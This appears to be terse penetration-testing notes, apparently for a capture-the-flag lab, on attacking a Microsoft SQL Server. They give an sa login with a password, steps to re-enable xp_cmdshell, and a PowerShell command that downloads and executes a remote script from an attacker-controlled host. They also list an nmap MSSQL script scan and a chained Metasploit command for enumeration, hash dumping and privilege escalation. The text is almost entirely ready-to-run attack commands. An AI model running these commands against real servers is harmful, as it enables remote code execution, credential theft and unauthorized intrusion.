#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

```
{{#include ../../banners/hacktricks-training.md}}